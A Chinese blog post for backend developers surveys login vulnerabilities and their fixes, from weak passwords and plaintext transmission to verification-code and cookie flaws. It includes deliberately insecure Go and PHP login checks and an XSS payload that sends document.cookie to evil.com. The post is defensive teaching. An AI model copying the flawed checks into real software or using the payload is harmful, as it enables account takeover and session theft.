后端开发都应该了解的登录漏洞
登录是大部分网站都具备的一个功能,作为用户使用系统的第一步,如果登陆逻辑设计不合理,容易被攻击者利用,造成安全问题。
密码泄漏
弱口令
相信大家都知道弱口令是什么意思,用户为了方便,一般会使用123456、admin、passwd、password、123qwe等这些作为自己的常用密码,方便好记。黑客会对这些人们常用的密码建立破译字典,逐个尝试进行破解。另外,也建议大家不要用生日、手机号、姓名等相关信息作为密码,黑客在进行暴力破解前,会先收集用户的这些相关信息,录入破译字典中。
在have i been pwned上可以查到,"123456"这个密码已经被使用了24,230,577
次
解决办法
最直接的解决办法,当然就是用户自己设置复杂的密码了。但是我们也应该从开发的角度提高安全性。
强制提高密码强度
程序规定密码强度规则,用户设置密码时,判断密码的强度是否符合要求,不符合拒绝设置。
限制登陆频率
暴力破解原理是用破译字段里的密码不断尝试登陆,我们可以程序控制登录频率,比如1分钟限制5次尝试登陆,超过这个次数后,再尝试登陆需要手机号/邮箱验证码。提高暴力破解的难度。
密码明文传输
用户请求登陆时,将用户的账号和密码通过明文的方式直接传输到服务端,黑客利用中间人攻击等手段,就能容易截获到用户的账号密码。
解决办法
客户端和服务端之间的连接使用https加密传输。避免传输数据被第三方获取。
代码逻辑漏洞
空密码登录
密码输错登陆失败,不输密码直接登陆进去了,乍一看不可思议,但确实有这种情况。
func login(ctx context.context, userid string, passwdinput *passwdinfo) (err error) { if passwdinput != nil && !passwordchk(userid, passwdinput.password) { return errors.new("密码错误") } // 成功通过 ... }
大家别笑,真有遇到过这种代码, 可能是由于之前出现过passwdinput传入nil导致代码直接panic了,修改时没注意看逻辑,直接加了一层检查nil的判断,导致漏洞的出现。
"万能密码" - true
写php的同学肯定都了解"=="和"==="的区别。
if($passwdfromdb == $passwdinput) { // 登陆成功 }
上面代码,如果passwdinput传入true
,就能校验通过了。导致"万能密码"。所以同学们写的时候别吝啬那个"=",说不定能救你一命。
验证码漏洞
如今,登陆、修改密码越来越多都依赖手机/邮箱验证码了,有些甚至可以账号/手机号 + 验证码
的免密登陆,验证码控制不当也会是一个漏洞重灾区。
验证码暴力破解
当登陆/修改密码时,服务端向我们手机发送一个6位的验证码。如果服务端没有对验证码做任何限制。攻击者就能对验证码进行暴力尝试。
处理办法
- 对验证码尝试次数/频率进行限制
- 控制验证码的有效期
a的验证码,修改b的用户信息
a修改用户信息时,需要验证码校验。后端将用户会话token当成key,value为验证码,在redis中存储。校验时,只通过token校验验证码,不校验要修改信息的目标账号,比如a在修改参数中的userid = b,就会导致修改了b的用户信息。造成漏洞。
解决办法
注意验证码与目标账号身份的匹配。
cookie漏洞
cookie是用于客户端存储会话状态的,使用不加注意容易导致漏洞产生。
使用cookie进行身份验证
- 接口通过请求头中cookie的userid判断用户身份。可以直接修改cookie中的userid字段,伪造成任意其他用户。
- 接口通过请求头中cookie的role字段判断用户权限,可以直接修改前端cookie中的role字段,对用户进行提权。
解决办法
使用服务端的session存储用户信息,接口进行身份验证时,可以通过cookie中的sessionid字段,找到对应session内容,获取到用户信息,再进行后续判断。
cookie未设置httponly
xss攻击是一种代码注入攻击,攻击者在网站上注入恶意代码,使之在用户访问网站时运行,从而获取用户的敏感信息。 注入恶意代码
并不需要直接改网站源代码,比如用户在一个评论区写下
<script src=“http://evil.com” + escape(document.cookie)>
而程序没有对输入内容进行代码字符转义。其他人打开评论区时,就会自动运行这段恶意代码,将自己的cookie内容发送到http://evil.com
,导致cookie的泄漏。
当使用session存储用户信息时,cookie中存放着sessionid,后端接口根据sessionid对应的session进行用户身份校验。如果cookie中的sessionid被攻击者获取,即可以伪造受害者身份登陆网站。
处理办法
开启cookie的httponly属性,开启后,无法通过js脚本读取到cookie信息。可以有效防止xss攻击窃取cookie内容。
大家还知道其他的什么登陆漏洞,欢迎分享探讨~
写在最后
喜欢本文的朋友,欢迎关注公众号「会玩code」,专注大白话分享实用技术
上一篇: Java无序数组排序后实现二分查找
下一篇: 情感幽默,俏皮逗语